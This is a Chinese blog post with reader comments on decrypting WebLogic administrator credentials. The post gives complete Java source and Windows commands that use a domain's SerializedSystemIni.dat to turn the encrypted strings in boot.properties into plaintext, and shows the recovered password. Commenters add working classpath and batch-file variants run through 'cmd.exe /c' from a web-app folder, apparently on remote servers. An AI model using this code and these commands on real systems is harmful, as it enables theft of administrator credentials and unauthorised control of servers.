如何破解WebLogic管理密码

有时候, 也许管理员会忘记WebLogic域的管理用户名和密码, 那么如何恢复这些密码呢? 在本文将会演示如何通过一个简单的Java程序在几秒内恢复遗忘的用户名和密码, 适用于WebLogic Server版本8,9,10,11.

步骤一: 创建一个单独的目录, 例如 C:\DecryptionDemo.

步骤二: 创建一个Java文件Decrypt.java, 代码内容如下:

import java.io.PrintStream; import weblogic.security.internal.*; import weblogic.security.internal.encryption.*; public class Decrypt { static EncryptionService es = null; static ClearOrEncryptedService ces = null; public static void main(String args[]) { String s = null; if(args.length == 0) s = ServerAuthenticate.promptValue("Password: ", false); else if(args.length == 1) s = args[0]; else System.err.println("Usage: java Decrypt [ password ]"); es = SerializedSystemIni.getExistingEncryptionService(); if(es == null) { System.err.println("Unable to initialize encryption service"); return; } ces = new ClearOrEncryptedService(es); if(s != null) System.out.println("\nDecrypted Password is:"+ces.decrypt(s)); } }

步骤三: 运行相关命令解密位于D:\bea\user_projects\domains\1034\servers\AdminServer\security\boot.properties文件中的字符串:

call D:\bea\wlserver_10.3\server\bin\setWLSEnv.cmd

copy D:\bea\user_projects\domains\1034\security\SerializedSystemIni.dat .\

javac Decrypt.java

java -cp .;%CLASSPATH% Decrypt {AES}QxP9vMIXw7g39iRfGNlZ76TOoHq9bLhwnTjlBWopGBw=

pause

此时可以看到密码原文为 weblogic1 . 效果如下图所示:

安全隐患:

如果任何人知道您的domain的名称, 那么他就可以创建一个相同名称的domain, 来获得文件SerializedSystemIni.dat和boot.properties, 然后就可以破解到原始的密码明文, 也许这是一个安全漏洞!

本文内容改编自 http://middlewaremagic.com/weblogic/?p=5806.

转载请注明:WebLogic Android 博客 » 如何破解WebLogic管理密码?





还是这个方法好.

http://bobao.360.cn/learning/detail/337.html 和 http://blog.csdn.net/rznice/article/details/50906335 并没有成功


折腾了一天半:

需要注意的事项:


cmd.exe /c javac -classpath .;C:/Oracle/wlserver_10.3/server/lib/weblogic.jar;C:/Oracle/wlserver_10.3/server/lib/webservices.jar Decrypt.java
cmd.exe /c java -classpath .;C:/Oracle//wlserver_10.3/server/lib/weblogic.jar;C:/Oracle/wlserver_10.3/server/lib/webservices.jar Decrypt {AES}字符串



要制定路径;而且本地的两个jar和远程不一样.


如果C盘不能写非交换的情况下可以使用批处理:

D:/WebApps/loginsec.bat


C:\Oracle\user_projects\domains\portal_domain>cd /d D:/WebApps/ 

D:\WebApps\>java -classpath .;C:/Oracle/wlserver_10.3/server/lib/weblogic.jar;C:/Oracle/wlserver_10.3/server/lib/webservices.jar Decrypt {AES}xxxxxxxxxxxxxxxxx

阅读更多
换一批

没有更多推荐了,返回首页